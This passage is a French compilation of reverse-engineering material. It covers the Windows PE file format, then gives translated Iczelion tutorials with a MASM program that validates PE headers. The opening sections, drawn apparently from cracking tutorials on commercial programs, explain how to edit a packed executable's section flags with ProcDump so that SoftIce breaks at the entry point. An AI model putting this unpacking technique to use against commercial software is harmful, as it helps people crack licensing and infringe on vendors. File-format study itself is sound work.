tout en-bas @48DB9 (vous savez bien, le truc que vous regardez pour savoir où patcher …) et bien c'est le
" raw Offset ".

La même chose vue sous l'angle de TeeJi

Chaque caractéristique à une valeur. Si vous voulez avoir deux caractéristiques,
vous faites : caract1 OR caract2 ...

Donc, pour que Softice break à l'entrypoint, il faut que la section qui contient la première instruction
ait les caractéristiques suivantes :

   0x00000020 IMAGE_SCN_CNT_CODE
   0x20000000 IMAGE_SCN_MEM_EXECUTE
   0x40000000 IMAGE_SCN_MEM_READ
OR 0x80000000 IMAGE_SCN_MEM_WRITE
-----------------------------------
   0xE0000020

Et généralement, pour empêcher le break et le désassemblage de la section, on met les caractéristiques suivantes :

       0x00000040 IMAGE_SCN_CNT_INITIALIZED_DATA
   0x40000000 IMAGE_SCN_MEM_READ
OR 0x80000000 IMAGE_SCN_MEM_WRITE
--------------------------------------------
   0xC0000040

Maintenant que l'on connait les caractéristiques à changer, il nous
faut savoir quelle section contient l'entrypoint. Pour cela :

· Lancer ProcDump ( ou n'importe quel Editeur de PE )

· Clicker sur [PE Editor]

· Choisir le fichier compressé ( ou celui dont on veux modifier les caractéristiques )

· Regarder la valeur de l'entry point

· Cliquer sur [Section]

· Regarder la colonne des Virtual Offset

· Et la section qui contient l'Entry Point est celle qui commence avant l'entrypoint et qui est le plus
proche de celui-ci.

· Vous cliquez sur la section avec le bouton droit et vous sélectionné Edit Section

· et dans les caractéristiques vous mettez E0000020

· OK / OK / FIN

D’autres explications (extrait
de Awave 5.0 de CyberBobJr)

" Arrivé à ce niveau, il est nécessaire de savoir
comment fonctionne (vaguement ;) le format PE ...

Il faut savoir qu’un programme est divisé en sections, et chaque section possède une entrée
dans le PE Header, ca veut dire que le code de décryptage possède une section dans le PE Header,
ProcDump nous permet d’avoir les détails de cette section : "

 | Virtual size | Virtual Offset | Raw size | Raw Offset
.data | 00002000 | 000DF000 | 00001400 | 00050A00

" La taille virtuelle de notre code est 2000, ce qui veut dire qu'en RAM,
la mémoire allouée pour notre code est de taille 0x2000 octets, ce qui toujours un multiple de la
page (en particulier içi 0x1000), en effet, la mémoire allouée doit toujours être multiple
de l'offset virtuel de la section CODE.

L'offset virtuel de notre code est de 000DF000, additionné à l'image de base (00400000), ca nous
donne une adresse virtuelle de 004DF000 (et comme par hasard, cette adresse nous mène droit vers l'EIP du
programme ? en l'occurence Awave 5.0).

La taille sur disque (Raw Size) est de 0x1400, ce qui veut dire que le code n'utilise que 0x1400 octets dans le
fichier .exe.

L'offset sur disque (Raw Offset) est de 00050A00, autrement dit le code s'étale sur le disque de l'offset
0050A00 jusqu'a (0050A00+1400)=0051E00 ".

Et celles de Brénuche dans Adanced Zip Password revovery

Name    VirtualSize  VirtualOffset Raw Size Raw Offset Characteristics

.text     000AF000     00001000    0004AA00  00000600   C0000040
.data     0004B000     000B0000    00003E00  0004B000   C0000040
.tls      00001000     000FB000    00000200  0004EE00   C0000040
.rdata    00001000     000FC000    00000200  0004F000   C0000040
.idata    00003000     000FD000    00001200  0004F200   C0000040
.edata    00016000     00100000    00015800  00050400   C0000040
.rsrc     00044000     00116000    00020A00  00065C00   C0000040
.reloc    0000D000     0015A000    00000000  00086600   C0000040
.adata    0000F000     00167000    0000E200  00086600   C0000040
.udata    00001000     00176000    00000000  00094800   C0000040

" ProcDump32 affiche les sections
du fichier dans l'ordre (cad par rapport à leur offset). La taille virtuelle (virtual) des sections correspond
au code réel, celui qui sera en mémoire. Tandis que la taille brute (raw) correspond à l'espace
pris par cette section sur le disque dur (c'est ces données qui nous intéressent). Notez au passage
que la taille virtuelle est beaucoup plus grande que la taille brute, (compte tenu que le code décompressé
doit être écris dans la même section que celle qui contient le code compressé, cette
section doit être grande en mémoire mais petite sur disque ) Ca, c'est le propre des exe compressés. "


GlobalPEMap

DOS MZ HEADER

<IMAGE_DOS_HEADER>

IMAGE_DOS_HEADER <>
- e_magic : <-- ce sont les deux premiers octets du prog (la signature MZ)
- e_lflanew : <-- Offset du PE Header
IMAGE_DOS_HEADER ENDS
DOS STUB
Chaîne de caractères : "This Program Requires Windows"
ou : "This program cannot run in DOS mode"
PE HEADER <IMAGE_NT_HEADERS>
IMAGE_NT_HEADERS <>
  - Signature : <-- PE (ou 50h, 45h, 00h, 00h)
  - FileHeader IMAGE_FILE_HEADER <>
               - Machine *
               - NumberOfSections ***
               - TimeDateStamp
               - PointerToSymbolTable
               - NumberOfSymbols
               - SizeOfOptionalHeader
               IMAGE_FILE_HEADER ENDS
  - OptionalHeader IMAGE_OPTIONAL_HEADER32 <>
               - AddressOfEntryPoint ***
               - ImageBase ***
               - SectionAlignment
               - FileAlignment
               - MajorSubSystemVersion
               - SizeOfImage
               - SubSystem
               - DataDirectory IMAGE_DATA_DIRECTORY <>
                   - Export symbols (IMAGE_DATA_DIRECTORY <> * 0)<--  Vers Table des Exportations
                   - Import symbols (IMAGE_DATA_DIRECTORY <> * 1)<--  Vers Table des Importations
                   - Resources      (IMAGE_DATA_DIRECTORY <> * 2)
                   - Exception      (IMAGE_DATA_DIRECTORY <> * 3)
                   - Security       (IMAGE_DATA_DIRECTORY <> * 4)
                   - Base relocation (IMAGE_DATA_DIRECTORY <> * 5)
                   - Debug          (IMAGE_DATA_DIRECTORY <> * 6)
                   - Copyright string (IMAGE_DATA_DIRECTORY <> * 7)
                   - Unknown        (IMAGE_DATA_DIRECTORY <> * 8)
                   - Thread local storage (TLS) (IMAGE_DATA_DIRECTORY <> * 9)
                   - Load configuration (IMAGE_DATA_DIRECTORY <> * 10)
                   - Bound Import   (IMAGE_DATA_DIRECTORY <> * 11)
                   - Import Address Table (IMAGE_DATA_DIRECTORY <> * 12)
                   - Delay Import   (IMAGE_DATA_DIRECTORY <> * 13)
                   - COM descriptor (IMAGE_DATA_DIRECTORY <> * 14)
                   IMAGE_DATA_DIRECTORY ENDS
               IMAGE_OPTIONAL_HEADER32 ENDS
IMAGE_NT_HEADERS ENDS
TABLE DES SECTIONS
<IMAGE_SECTION_HEADER>

IMAGE_SECTION_HEADER <>
  - Name1 : <-- le nom de la section
  - Misc.VirtualSize
  - VirtualAddress
  - SizeOfRawData
  - PointerToRawData (aussi appelé Raw Offset ou Raw Data)
  - PointerToRelocation
  - PointerToLineNumbers
  - NumberOfRelocations
  - NumberOfLineNumbers
  - Characteristics
IMAGE_SECTION_HEADER ENDS

IMAGE_SECTION_HEADER <>
  - Name1 : <-- le nom de la section
  - Misc.VirtualSize
  - VirtualAddress
  - SizeOfRawData
  - PointerToRawData (aussi appelé Raw Offset ou Raw Data)
  - PointerToRelocation
  - PointerToLineNumbers
  - NumberOfRelocations
  - NumberOfLineNumbers
  - Characteristics
IMAGE_SECTION_HEADER ENDS

IMAGE_SECTION_HEADER <>
  - .... Il y aura autant de fois de répétition de
  - .... ces paramètres qu'il y a de sections dans notre programme.
  - .... Cette répétition est donc définit par
  - .... la valeur du membre 'NumberOfSections' se trouvant dans la
  - .... structure IMAGE_FILE_HEADER <> elle même
  - .... appartenant à la structure IMAGE_NT_HEADER <>
  - .... (le PE Header)
  - ....
IMAGE_SECTION_HEADER ENDS

IMAGE_SECTION_HEADER <>
  - Name1 : <-- le nom de la section
  - Misc.VirtualSize
  - VirtualAddress
  - SizeOfRawData
  - PointerToRawData (aussi appelé Raw Offset ou Raw Data)
  - PointerToRelocation
  - PointerToLineNumbers
  - NumberOfRelocations
  - NumberOfLineNumbers
  - Characteristics
IMAGE_SECTION_HEADER ENDS
SECTION 1
(EX: .DATA)
00401000h

Votre programme commence réellement à partir d'ici.

SECTION 2
(EX: .DATA?)
SECTION 3
....
SECTION 4
(EX: .CODE)

                                                    Synthétisé par Morgatte


 Nous en étions donc au membre 'Import Symbols' appartenant à la structure IMAGE_DATA_DIRECTORY

'Import symbols' est le deuxième membre d'IMAGE_DATA_DIRECTORY <>, l'index de 'Import symbols' est 1. Chaque membre de cette structure est définit ainsi:

IMAGE_DATA_DIRECTORY <>
VirtualAddress dd ? <-- et suivant le membre d'où on vient on est renvoyé vers le descripteur adéquoit.
isize dd ?
IMAGE_DATA_DIRECTORY ENDS

| IMAGE_DATA_DIRECTORY <>
1*| VirtualAddress dd ? -----------> adresse de la Table des Importations
| isize dd ?
| IMAGE_DATA_DIRECTORY ENDS

IMAGE_IMPORT_DESCRIPTOR <> <-- Table des Importations
  union
    - Characteristics dd ?
    - OriginalFirstThunk dd ?
  ends
  - TimeDateStamp dd ?
  - ForwarderChain dd ?
  - Name1 dd ?
  - FirstThunk dd ?
IMAGE_IMPORT_DESCRIPTOR ENDS

Retour


Iczelion's PE Tutorial 1: Overview of PE File Format

Tutorial 1 : Vue d'ensemble sur le
Format d'un PE File

C'est une complète réécriture d'un vieux Tutorial PE que je considérais comme le plus mauvais Tutorial que j'avais écrit. Donc j'ai décidé de le remplacer par ce nouveau.

PE veut dire 'Portable Executable'. C'est le format de base des fichiers Win32. Sa spécification provient en partie du format COFF d'Unix (format de fichier objet commun) ou (common object file format). La particularité du "Portable Executable" c'est que c'est un format de fichier universel à travers la plate-forme win32 : le PE Loader de chaque plate-forme win32 reconnaît et emploie ce format de fichier même lorsque Windows tourne sur des plates-formes CPU autres qu'Intel. Ça ne signifie pas que vos Programmes executables (au format PE) soient capables de supporter d'autres plates-formes CPU sans modification. Chaque Win32 exécutable (sauf les VxDs et les Dlls 16 bits) utilisent le format du PE File. Même les Drivers NT utilisent le format du PE File. C'est pourquoi le fait d'étudier le format du PE File vous fait bien comprendre la structure de Windows.

Plongeons dans la structure générale du format du PE File sans plus attendre.

DOS MZ header
DOS stub
PE header
Section table
Section 1
(ex: .data)
Section 2
Section ...
Section n
(ex: .code)

L'image ci-dessus représente la structure générale d'un PE File. Tous les PE File (même les DLLs 32 bits) doivent commencer par un simple entête DOS 'MZ'. Habituellement, nous ne sommes pas beaucoup intéressés par cette structure. Elle est fournit au cas où le programme tourne sous DOS, ainsi le DOS peut la reconnaître en tant qu'exécutable valide et peut ainsi lancer le 'DOS Stub' qui est stocké à la suite de l'entête MZ. Le 'DOS Stub' est en réalité un EXE valide qui est exécuté au cas où le système d'exploitation ne reconnaît pas le format du PE File. Ça sert simplement à afficher une chaîne de caractères comme " This program requires Windows" ou bien ça peut aussi faire apparaître un programme(fenêtre) DOS suivant l'intention du programmeur. Nous ne sommes pas non plus vraiment intéressés par le 'DOS Stub' : Habituellement, l'assembleur/compilateur le fournit de lui-même. Dans la plupart des cas, il emploie simplement l' int 21h, service 9 pour afficher une chaîne de caractères disant " This program cannot run in DOS mode".

Après le DOS stub, arrive le PE header (l'entête PE). Le PE header est un terme général pour la structure relative au PE nommée IMAGE_NT_HEADERS. Cette structure contient la plupart des paramètres essentiels pour le PE Loader. Par la suite, nous serons tout à fait familiers avec elle quand vous en saurez un peu plus à propos du format du PE File. Dans le cas où le programme est exécuté dans un système d'exploitation qui reconnaît le format du PE File, le PE Loader peut retrouver l'offset de départ du PE Header à partir du MZ header du DOS. De cette manière, il peut sauter le DOS Stub et aller directement au PE header qui est le véritable header du fichier. (son entête)

Le contenu réel du PE File est divisé en plusieurs blocs appelés sections. Une section n'est rien plus qu'un bloc de données avec des attributs communs comme le sont, le code en lecture et les données en écriture etc. Vous pouvez vous représenter le PE File comme un disque logique. Le PE header est le secteur de boot (la racine (comme C:)) et les sections sont les fichiers du disque. Les fichiers peuvent avoir des attributs différents comme lecture-seule, système, fichier caché, archives et cetera. Je souhaite éclaircir ce point dès à présent, toutes les données appartenant à un même groupe dans une section, ont pour base les mêmes attributs en communs : ce n'est pas le cas dans une base logique. Ça n'a pas d'importance la façon dont le code ou les données sont employés. Si les données et le code dans le PE File ont les mêmes attributs, on peut les regrouper dans une même section. Dans ce cas là, une section n'obéit plus au schéma classique des concepts logiques, comme le font les sections "data" et "code": Ici les sections peuvent contenir à la fois du code et des données à condition qu'ils aient les mêmes attributs. Si vous avez un bloc de données que vous souhaitez n'utiliser qu'en lecture-seule, vous pouvez placer ces données dans la section qui est affectée aux lectures-seules. Quand le PE Loader mappe des sections en mémoire, il examine les attributs des sections puis renvoie le bloc de mémoire qu'occupent maintenant ces sections.

Si nous nous représentons le format du PE File comme un disque logique, le PE header comme le secteur de boot et les sections comme des fichiers, parfois il nous manque des informations pour découvrir où les fichiers sont placés sur le disque. En fait, nous n'avons pas encore débattus sur ce qui serait l'équivalent des répertoires dans le cas du format des PE File. Immédiatement après le PE header vient La table des sections qui en fait est un tableau contenant plusieurs structures. Chaque structure contient les informations sur chaque section du PE File, comme par exemple ses attributs, l'offset du fichier, l'offset virtuel. S'il y a 5 sections dans le PE File, il y aura exactement 5 membres dans ce tableau de structures. Nous pouvons alors voir la table des sections un peu comme le 'root directory' (le répertoire principal) du disque logique. Chaque membre du tableau est l'équivalent d'un sous-répertoire du répertoire Principal.

C'est tout ce qu'il y a à savoir sur la disposition physique du format du PE File. Je récapitule les étapes principales pour charger un PE File en mémoire :

  1. Quand le PE File est lancé, le PE Loader examine le MZ header (du DOS) pour trouver l'offset du PE header. S'il le trouve, il saute au PE header.
  2. Le PE Loader vérifie si le PE header est valide. S'il l'est, il va à la fin de PE header.
  3. Immédiatement après le PE header on arrive à la table des sections. Le PE header lit les informations à propos des sections puis mappe ces sections en mémoire en employant le procédé de 'File Mapping' (on fait une copie en mémoire, d'un fichier qui lui est bien réel au départ). Il délègue également leurs attributs à chaque section comme c'est indiqué dans la table des sections.
  4. Après que le PE File ait été mappé en mémoire, le PE Loader se comporte lui-même comme une partie logique du PE File, en tant que table d'importation.

Les étapes ci-dessus sont d'une excessive simplification et sont basés sur mes propres observations. Il peut y avoir quelques inexactitudes mais ça doit vous éclairer le processus.

Vous devez télécharger La description du format du PE File de LUEVELSMEYER. Il est extrêmement détaillé et vous devez le considérer comme une véritable référence.

[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Iczelion's PE Tutorial 2: Detecting a Valid PE File

Tutorial 2: Détecter un PE File Valide

Dans ce Tutorial, nous allons voir comment vérifier si un fichier donné est un PE File Valide.
Downloadez l'exemple.

(Un PE File est un ficher de type PE = un exécutable sous Win32. Un Programme Win32 en fait.)

Théorie:

Comment pouvez-vous vérifier si un fichier donné est PE file ? C'est difficile de répondre à cette question. Ça dépend jusqu'où vous voulez aller. Vous pouvez vérifier chaque structure de données définie dans le format du PE file ou bien vous pouvez vous satisfaire de vérifier seulement les éléments cruciaux. La plupart du temps, il est inutile de vérifier chaque structure appartenant aux fichiers. Si les structures cruciales sont valables, nous pouvons dire avec presque certitude que le fichier est un PE valide. Et nous nous contenterons de cette supposition.

La structure essentielle que nous vérifierons est le PE header lui-même. Donc nous avons besoin d'en savoir un peu plus sur sa programmation. Le PE header est en réalité une structure appelée IMAGE_NT_HEADERS. Sa définition est la suivante :

IMAGE_NT_HEADERS STRUCT
Signature dd ?
FileHeader IMAGE_FILE_HEADER <>
OptionalHeader IMAGE_OPTIONAL_HEADER32 <>
IMAGE_NT_HEADERS ENDS

Signature est un dword qui contient la valeur 50h, 45h, 00h, 00h. En terme plus humain, ça représente le texte "PE" suivi par deux zéros de terminaison. Ce membre est la 'signature PE', donc nous nous en servirons pour vérifier si un fichier donné est ou n'est pas un PE valide.
FileHeader est une structure qui contient des informations sur la structure physique du PE file tels que son nombre de sections, la machine pour laquelle ce fichier est destinée et cetera.
OptionalHeader est une structure qui contient des informations sur la structure logique du PE file. Malgré qu'il soit "Optionel", il est toujours présent.

Notre but est maintenant clair. Si la valeur du membre 'signature' du IMAGE_NT_HEADERS est égale à "PE" suivi par deux zéros, alors le fichier est un fichier PE valide. En fait, justement dans le but de pouvoir comparer ça, Microsoft a défini une constante nommée IMAGE_NT_SIGNATURE que nous pouvons facilement employer.

IMAGE_DOS_SIGNATURE equ 5A4Dh
IMAGE_OS2_SIGNATURE equ 454Eh
IMAGE_OS2_SIGNATURE_LE equ 454Ch
IMAGE_VXD_SIGNATURE equ 454Ch
IMAGE_NT_SIGNATURE equ 4550h

La question est la suivante : comment pouvons-nous savoir où se situe le PE header ? La réponse est simple : le MZ header du DOS contient l'offset(de fichier) du PE header. Le MZ header est défini comme la structure IMAGE_DOS_HEADER. Vous pouvez le vérifier en regardant dans windows.inc. Le membre e_lfanew de la structure IMAGE_DOS_HEADER contient l'offset du PE header.

Les étapes sont les suivantes :

  1. Vérifiez si le fichier donné possède un MZ header (du DOS) valide en comparant le premier WORD du fichier avec la valeur IMAGE_DOS_SIGNATURE.
  2. Si le fichier possède bien un MZ Header valide, On utilise la valeur qui est dans le membre e_lfanew pour retrouver le PE header
  3. On compare le premier WORD du PE header avec la valeur IMAGE_NT_HEADER. Si les deux sont de même valeur, alors nous pouvons assurer que le fichier est un PE valide.

Exemple:

.386
.model flat,stdcall
option casemap:none
include \masm32\include\windows.inc
include \masm32\include\kernel32.inc
include \masm32\include\comdlg32.inc
include \masm32\include\user32.inc
includelib \masm32\lib\user32.lib
includelib \masm32\lib\kernel32.lib
includelib \masm32\lib\comdlg32.lib

SEH struct
PrevLink dd ?    ; adresse de la structure SEH ci-dessus
CurrentHandler dd ?    ; adresse du 'exception handler'
SafeOffset dd ?    ; endroit où est sauvegardé l'offset pour continuer l'exécution
PrevEsp dd ?      ; l'ancienne valeur dans 'esp'
PrevEbp dd ?     ; ancienne valeur dans 'ebp'
SEH ends

.data
AppName db "PE tutorial no.2",0
ofn OPENFILENAME <>
FilterString db "Executable Files (*.exe, *.dll)",0,"*.exe;*.dll",0
                 db "All Files",0,"*.*",0,0
FileOpenError db "Cannot open the file for reading",0
FileOpenMappingError db "Cannot open the file for memory mapping",0
FileMappingError db "Cannot map the file into memory",0
FileValidPE db "This file is a valid PE",0
FileInValidPE db "This file is not a valid PE",0

.data?
buffer db 512 dup(?)
hFile dd ?
hMapping dd ?
pMapping dd ?
ValidPE dd ?

.code
start proc
LOCAL seh:SEH
mov ofn.lStructSize,SIZEOF ofn
mov ofn.lpstrFilter, OFFSET FilterString
mov ofn.lpstrFile, OFFSET buffer
mov ofn.nMaxFile,512
mov ofn.Flags, OFN_FILEMUSTEXIST or OFN_PATHMUSTEXIST or OFN_LONGNAMES or OFN_EXPLORER or OFN_HIDEREADONLY
invoke GetOpenFileName, ADDR ofn
.if eax==TRUE
    invoke CreateFile, addr buffer, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL
    .if eax!=INVALID_HANDLE_VALUE
       mov hFile, eax
       invoke CreateFileMapping, hFile, NULL, PAGE_READONLY,0,0,0
       .if eax!=NULL
          mov hMapping, eax
          invoke MapViewOfFile,hMapping,FILE_MAP_READ,0,0,0
          .if eax!=NULL
             mov pMapping,eax
             assume fs:nothing
             push fs:[0]
             pop seh.PrevLink
             mov seh.CurrentHandler,offset SEHHandler
             mov seh.SafeOffset,offset FinalExit
             lea eax,seh
             mov fs:[0], eax
             mov seh.PrevEsp,esp
             mov seh.PrevEbp,ebp
             mov edi, pMapping
             assume edi:ptr IMAGE_DOS_HEADER
             .if [edi].e_magic==IMAGE_DOS_SIGNATURE
                add edi, [edi].e_lfanew
                assume edi:ptr IMAGE_NT_HEADERS
                .if [edi].Signature==IMAGE_NT_SIGNATURE
                   mov ValidPE, TRUE
                .else
                   mov ValidPE, FALSE
                .endif
             .else
                 mov ValidPE,FALSE
             .endif
FinalExit:
             .if ValidPE==TRUE
                 invoke MessageBox, 0, addr FileValidPE, addr AppName, MB_OK+MB_ICONINFORMATION
             .else
                invoke MessageBox, 0, addr FileInValidPE, addr AppName, MB_OK+MB_ICONINFORMATION
             .endif
             push seh.PrevLink
             pop fs:[0]
             invoke UnmapViewOfFile, pMapping
          .else
             invoke MessageBox, 0, addr FileMappingError, addr AppName, MB_OK+MB_ICONERROR
          .endif
          invoke CloseHandle,hMapping
       .else
          invoke MessageBox, 0, addr FileOpenMappingError, addr AppName, MB_OK+MB_ICONERROR
       .endif
       invoke CloseHandle, hFile
    .else
       invoke MessageBox, 0, addr FileOpenError, addr AppName, MB_OK+MB_ICONERROR
    .endif
.endif
invoke ExitProcess, 0
start endp

SEHHandler proc C uses edx pExcept:DWORD, pFrame:DWORD, pContext:DWORD, pDispatch:DWORD
    mov edx,pFrame
    assume edx:ptr SEH
    mov eax,pContext
    assume eax:ptr CONTEXT
    push [edx].SafeOffset
    pop [eax].regEip
    push [edx].PrevEsp
    pop [eax].regEsp
    push [edx].PrevEbp
    pop [eax].regEbp
    mov ValidPE, FALSE
    mov eax,ExceptionContinueExecution
    ret
SEHHandler endp
end start

Analyse:

Le programme ouvre un fichier et vérifie si le DOS header (le MZ) est valide, s'il l'est, on vérifie alors si le PE header est valide à son tour. S'il l'est également, alors on peut certifier que le fichier est un PE File valide. Dans cet exemple, j'emploie la 'Structure Exception Handling' (SEH) pour ne pas avoir à faire de vérifier chaque erreur possible : si une erreur se produit, on est sûr que c'est parce que le fichier n'est pas un PE File valide. Windows lui-même utilise largement le SEH dans ses routines de validation de paramètres. Si le SEH vous intéresse, lisez l'article de Jeremy Gordon.

Son programme affiche une fenêtre OPENFILE (la boîte de Dialog qui sert à ouvrir d'autres fichiers) et quand l'utilisateur choisit un fichier exécutable, il ouvre ce fichier et les 'Mappe' en mémoire. Avant qu'il ne commence sa vérification, il installe un SEH :

   assume fs:nothing
   push fs:[0]
   pop seh.PrevLink
   mov seh.CurrentHandler,offset SEHHandler
   mov seh.SafeOffset,offset FinalExit
   lea eax,seh
   mov fs:[0], eax
   mov seh.PrevEsp,esp
   mov seh.PrevEbp,ebp

Nous commençons en assumant l'utilisation du register fs comme étant mis à zéro. On est obligé de faire comme ça parce que MASM assume l'utilisation du register fs à ERROR (par défaut). Ensuite nous stockons l'adresse du SEH Handler vu précédemment dans notre structure pour que Windows puisse l'utiliser. Nous stockons l'adresse de notre SEH Handler, l'adresse où l'exécution peut sans risque reprendre si une erreur arrive, les valeurs actuelles de esp et d'ebp pour que notre SEH Handler puisse récupérer l'état antérieur de la pile (comme en tant normale) avant que notre programme reprenne son exécution.

   mov edi, pMapping
   assume edi:ptr IMAGE_DOS_HEADER
   .if [edi].e_magic==IMAGE_DOS_SIGNATURE

Après que nous en ayons finis avec l'installation du SEH, nous passons à la vérification. Nous mettons l'adresse du premier octet du fichier cible dans edi, qui est le premier octet du MZ header (du DOS). Pour le bien de la comparaison, nous disons à l'assembleur qu'il peut assumer edi en tant que pointeur sur la structure IMAGE_DOS_HEADER (Ce qui est la vérité). Nous comparons alors le premier WORD du MZ header avec la chaîne de caractères "MZ" qui est définie comme une constante dans Windows.inc sous le nom d'IMAGE_DOS_SIGNATURE. Si la comparaison est ok, nous passons au PE header. S'il n'est pas valide, nous mettons à FALSE la valeur dans ValidPE, signifiant ainsi que le fichier n'est pas PE File valide.

      add edi, [edi].e_lfanew
      assume edi:ptr IMAGE_NT_HEADERS
      .if [edi].Signature==IMAGE_NT_SIGNATURE
         mov ValidPE, TRUE
      .else
         mov ValidPE, FALSE
      .endif

Pour arriver jusqu'au PE header, nous avons besoin de la valeur dans e_lfanew du MZ header. Ce paramètre contient l'offset du PE header. Ainsi nous ajoutons cette valeur à edi et nous arrivons au premier octet du PE header. C'est à cet endroit qu'une erreur peut se produire. Si le fichier n'est pas un vrai PE file, la valeur dans e_lfanew sera incorrecte et ainsi en l'utilisant on pointe vers une zone sauvage. Si nous n'employons pas le SEH, nous devons vérifier la valeur de e_lfanew avec la taille de ce sale fichier. Si tout va bien, nous comparons le premier dword du PE header avec la chaîne de caratères "PE". De nouveau il y a une constante bien pratique du nom de IMAGE_NT_SIGNATURE que nous pouvons utiliser. Si le résultat de la comparaison est TRUE, nous assumons que notre fichier est un PE File valide.
Si la valeur dans e_lfanew est incorrecte, une erreur peut se produire et notre SEH Handler reprendra le contrôle. Il rétablit simplement le pointer de pile, et reprend l'exécution à l'offset sauveqardé précédemment à l'endroit du label FinalExit.

FinalExit:
   .if ValidPE==TRUE
      invoke MessageBox, 0, addr FileValidPE, addr AppName, MB_OK+MB_ICONINFORMATION
   .else
      invoke MessageBox, 0, addr FileInValidPE, addr AppName, MB_OK+MB_ICONINFORMATION
   .endif

Le code ci-dessus est d'une simplicité en lui-même. Il vérifie la valeur dans ValidPE et affiche un message à l'utilisateur en conséquence.

   push seh.PrevLink
   pop fs:[0]

Quand le SEH n'est plus employé, nous le dissocions de la chaîne du SEH.

[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Iczelion's PE tutorial 3: File Header

Tutorial 3: File Header

(Le File Header c'est l'entête d'un fichier (d'un programme), c'est sa carte d'identité. C'est ici qu'on trouve des informations sur lui. Sa date de création, la date de dernière exécution, le nombre de sections qu'il possède....)

Dans ce Tutorial, nous allons étudier la partie 'file header' qui appartient au PE header.

On va récapituler ce que nous avons appris jusqu'ici :

  • LE MZ header du DOS est appelé IMAGE_DOS_HEADER. Seuls deux de ses membres sont importants pour nous : e_magic lequel contient la chaîne de caractères "MZ" et e_lfanew qui contient l'offset du PE header.
  • Nous nous servons de la valeur dans e_magic pour vérifier si le fichier possède un MZ header (DOS) valide en le comparant à la valeur IMAGE_DOS_SIGNATURE. Si ces deux valeurs correspondent, nous pouvons assumer que le fichier est bien pourvu d'un MZ Header valide.
  • Pour arrivez jusqu'au PE header, nous devons déplacer le pointer sur l'offset indiqué par la valeur contenu dans e_lfanew.
  • Le premier DWORD du PE header doit contenir la chaine de caractères "PE" suivie par une paire de zéros. Le bon sens c'est de comparer la valeur dans ce dword à la valeur que représente le Flag IMAGE_NT_SIGNATURE. S'ils correspondent, alors nous pouvons assumer qu'on a à faire à un PE header est valide.

Dans ce Tutorial Nous allons encore en apprendre plus sur le PE header. Le nom officiel du PE header est IMAGE_NT_HEADERS. Pour vous rafraichir la mémoire, je vous le remontre ci-dessous.

IMAGE_NT_HEADERS STRUCT
Signature dd ?
FileHeader IMAGE_FILE_HEADER <>
OptionalHeader IMAGE_OPTIONAL_HEADER32 <>
IMAGE_NT_HEADERS ENDS

Signature est la signature 'PE', "PE" suivi de deux zéros. Vous la connaissez déjà et employez déjà ce membre.
FileHeader est une structure qui contient des informations sur la configuration/propriétés physique du PE file en général.
OptionalHeader est également une structure qui contient des informations sur la configuration logique de l'intérieur du PE file.

L'information la plus intéressante est dans OptionalHeader. Cependant, certains paramètres contenus dans FileHeader sont aussi importants. Nous allons en apprendre pas mal sur le FileHeader dans ce Tutorial donc nous nous occuperons plutôt de l'étude d'OptionalHeader dans les Tutorials suivants.

IMAGE_FILE_HEADER STRUCT
Machine WORD ?
NumberOfSections WORD ?
TimeDateStamp dd ?
PointerToSymbolTable dd ?
NumberOfSymbols dd ?
SizeOfOptionalHeader WORD ?
Characteristics WORD ?
IMAGE_FILE_HEADER ENDS

Noms des paramètres | Signification
Machine | est le type de CPU (la plate-forme) pour lequel est destiné le fichier. Pour les CPU de type Intel, la valeur est IMAGE_FILE_MACHINE_I386 (14Ch). J'ai essayé d'employer 14Dh et 14Eh comme c'est mis dans le PE.txt de LUEVELSMEYER mais Windows a refusé de le lancer. Ce paramètre a rarement d'intérêt pour nous sauf si on s'en sert comme une manière rapide d'empêcher un programme d'être exécuté.
NumberOfSections | est le nombre de sections dans le fichier. Nous aurons besoin de modifier la valeur dans ce membre si nous ajoutons ou supprimons une section du fichier.
TimeDateStamp | est la date à laquelle le fichier a été créé. C'est pas utile pour nous.
PointerToSymbolTable | est utilisé lorsqu'on débug le programme.
NumberOfSymbols | est utilisé lorsqu'on débug le programme.
SizeOfOptionalHeader | est la taille du membre OptionalHeader qui suit immédiatement cette structure. On doit lui donner une valeur valide.
Characteristics | contient les flags qui servent au fichier, comme : est-ce un fichier exe ou dll.

En résumé, seulement trois membres sont utiles pour nous : Machine, NumberOfSections et Characteristics. Normalement, vous ne devriez pas avoir à changer les valeurs de Machine et Characteristics mais vous devez utiliser la valeur qui est dans NumberOfSections lorsque vous vous baladez dans la table des sections.
Pour illustrer l'utilisation de NumberOfSections, j'ai besoin de faire une brève parenthèse sur la table des sections.

La table des sections est un tableau regroupant plusieurs structures. Chaque structure contient des informations sur une section particulière. Ainsi s'il y a 3 sections (ex : .data .data? .code), il y aura 3 membres dans ce tableau. Vous avez besoin de la valeur dans NumberOfSections ainsi vous connaîtrez combien de membres comporte ce tableau. On peut essayer de mettre la valeur dans NumberOfSections à une valeur supérieur à celle réelle, et bien Windows lance toujours le fichier sans problème. D'après ce que j'ai observé, je pense que Windows lit la valeur dans NumberOfSections et examine chaque structure dans la table des sections. Si Windows rencontre une structure qui ne contient que des zéros, il termine sa recherche. Sinon il continue jusqu'à ce que le nombre de structures (donc de sections) rencontrées soit le même que le nombre dans NumberOfSections. Pourquoi ne pouvons nous pas ignorer la valeur NumberOfSections ? Il y a plusieurs raisons à ça. En fait, le PE ne spécifie pas que le tableau qu'est la table des sections doit forcément finir par une structure remplie de zéros. C'est pourquoi il peut y avoir certaines situations dans lesquelles le dernier membre du tableau est directement accolé à la première section, sans espace vide du tout. Une autre raison a un rapport avec les limites des importations. Un nouveau type de limites c'est de placer les informations immédiatement à la suite de la dernière structure de la table des sections. C'est pourquoi vous aurez toujours besoin de NumberOfSections.

[Iczelion's Win32 Assembly Homepage]

Traduit par Morgatte


Iczelion's PE Tutorial 4: Optional Header

Tutorial 4: Les membres facultatifs du header
(Optional Header)

 (Header = entête d'un fichier (du programme) dans lequel se trouvent les informations concernant ce fichier)

Nous avons vu le MZ header (du DOS) et quelques membres du PE header. Voici le dernier, le plus grand et probablement le membre le plus important du PE header, l'Optional header.

